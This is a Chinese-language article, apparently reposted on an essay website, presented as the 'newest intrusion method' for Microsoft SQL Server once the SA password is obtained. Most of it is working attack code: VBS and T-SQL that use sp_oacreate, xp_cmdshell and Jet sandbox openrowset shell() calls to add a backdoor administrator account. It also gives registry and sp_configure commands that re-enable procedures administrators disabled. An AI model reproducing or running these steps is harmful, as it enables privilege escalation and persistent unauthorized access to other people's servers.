首页 爱情文章 亲情文章 友情文章 生活随笔 校园文章 经典文章 人生哲理 励志文章 搞笑文章 心情日记
  • 爱情文章
  • 亲情文章
  • 友情文章
  • 生活随笔
  • 校园文章
  • 经典文章
  • 人生哲理
  • 励志文章
  • 搞笑文章
  • 心情日记
  • 英语文章
  • 范文大全
  • 作文大全
  • 新闻阅读
    •
    当前位置: 山茶花美文网 > 搞笑文章 > 正文

    SA Microsoft,SQL,Server,SA权限最新入侵方法

    时间：2020-02-17来源：山茶花美文网 本文已影响 人 山茶花美文网手机站

    在获得SA密码后，往往因为服务器管理者或”前人”将net.exe和net1.exe被限制使用，无法添加管理员账号。我们知道VBS在活动目录(ADSI)部分有一个winnt对象，用来管理本地资源，利用它可以不依靠CMD等命令就能添加一个管理员，具体代码如下： set wsnetwork=CreateObject("WSCRIPT.NETWORK")

    os="WinNT://"&wsnetwork.ComputerName

    Set ob=GetObject(os) "得到adsi接口,绑定

    Set oe=GetObject(os&"/Administrators,group") "属性,admin组

    Set od=ob.Create("user","test") "建立用户

    od.SetPassword "1234" "设置密码

    od.SetInfo "保存

    Set of=GetObject(os&"/test",user) "得到用户

    oe.add os&"/test" 将上面的代码保存为1.vbs，然后执行，命令为“cscript 1.vbs”，这样就会在系统添加一个系统名为test，密码为1234的用户。具体在查询分析器执行的代码如下： declare @o int, @f int, @t int, @ret int

    exec sp_oacreate "scripting.filesystemobject", @o out

    exec sp_oamethod @o, "createtextfile", @f out, "c:1.vbs", 1

    exec @ret = sp_oamethod @f, "writeline", NULL,"set wsnetwork=CreateObject

    ("WSCRIPT.NETWORK")"

    exec @ret = sp_oamethod @f, "writeline", NULL,"os="WinNT://"&wsnetwork.

    ComputerName"

    exec @ret = sp_oamethod @f, "writeline", NULL,"Set ob=GetObject(os)"

    exec @ret = sp_oamethod @f, "writeline", NULL,"Set oe=GetObject

    (os&"/Administrators,group")"

    exec @ret = sp_oamethod @f, "writeline", NULL,"Set od=ob.Create

    ("user","test")"

    exec @ret = sp_oamethod @f, "writeline", NULL,"od.SetPassword "1234""

    exec @ret = sp_oamethod @f, "writeline", NULL,"od.SetInfo "

    exec @ret = sp_oamethod @f, "writeline", NULL,"Set of=GetObject

    (os&"/test",user) "

    exec @ret = sp_oamethod @f, "writeline", NULL,"oe.add os&"/test"" 执行完上面的语句，再执行下面这行代码，这行代码一定单独执行，不要与上面的放在一起执行，否则会提示“c:1.vbs正被另一个程序运行”而无法成功添加用户： exec master..xp_cmdshell "cscript c:1.vbs" 如果系统用户没有添加成功，有可能是因为系统用户的密码1234的太简单，不符合服务器的复杂密码策略，可以考虑设置的复杂些，然后再测试一下。也可以使用echo将代码写到1.vbs中，代码格式为： exec master..xp_cmdshell "echo set wsnetwork=CreateObject("WSCRIPT.NETWORK")

    >>1.vbs" 不过，不知道为什么所有带“&”字符的命令行都无法写入1.vbs，感兴趣的朋友可以尝试解决一下。 使用jet沙盘模式，可以解决XP_cmdshell等存储过程和相关动态链接库带来的烦恼。出于安全原因，系统默认情况下沙盘模式未开启，这就需要xp_regwrite开启沙盘模式： Exec master.dbo.xp_regwrite "HKEY_LOCAL_MACHINE","SOFTWAREMicrosoftJet4.0

    Engines","SandBoxMode","REG_DWORD",1 然后执行沙盘命令，在系统添加一个用户名为test，密码为1234的用户： select * from openrowset("microsoft.jet.oledb.4.0",";database=c:windows

    system32iasias.mdb","select shell("cmd.exe /c net user test 1234 /add")") select * from openrowset("microsoft.jet.oledb.4.0",";database=c:windows

    system32iasias.mdb","select shell("cmd.exe /c net localgroup

    administrators test /add")") 不同的操作系统，路径也不一样，需要根据情况做修改： NT/2K: c:winntsystem32

    XP/2003: c:windowssystem32 另外Microsoft SQL Server2005在默认情况下，一些存储过程是关闭着的，需要命令打开： 开启XP_cmdshell： EXEC sp_configure "show advanced options", 1;RECONFIGURE;EXEC sp_configure

    "xp_cmdshell", 1;RECONFIGURE; 开启"OPENROWSET"： exec sp_configure "show advanced options", 1;RECONFIGURE;exec sp_configure

    "Ad Hoc Distributed Queries",1;RECONFIGURE; 开启"sp_oacreate": exec sp_configure "show advanced options", 1;RECONFIGURE;exec sp_configure

    "Ole Automation Procedures",1;RECONFIGURE;

    • 爱情文章
    • 亲情文章
    • 友情文章
    • 随笔
    • 哲理
    • 励志
    • 范文大全

    最新文章

    热点文章

    推荐访问

    军训远足心得体会 军训爬山心得体会 大学军训徒步拉练感想 军训徒步作文 军训徒步10公里感想 军训徒步心得体会 5分钟演讲中秋节节日 中秋一分钟演讲 中秋节演讲稿4分钟 中秋节演讲稿一分钟 中秋节演讲稿五分钟 3-5分钟 中秋节短篇演讲稿 中秋节演讲稿两分钟 中秋节的演讲稿3分钟 关于中秋节的演讲稿三分钟 孩子体验军训的心得 参加孩子军训活动的感受与收获 家长对孩子军训后的收获和感悟 小孩军训的收获与感悟 学生军训的收获与感悟 孩子军训成长过程家长感悟 孩子军训感悟 孩子军训心得体会 孩子军训的收获与感悟 兵役前训练心得体会 部队当兵的心得 新兵役前教育训练心得体会 预备役军训心得体会 新兵军训感悟

    本文SA Microsoft,SQL,Server,SA权限最新入侵方法由山茶花美文网整理提供，版权归原作者、原出处所有。

    Copyright © 山茶花美文网 All Rights Reserved.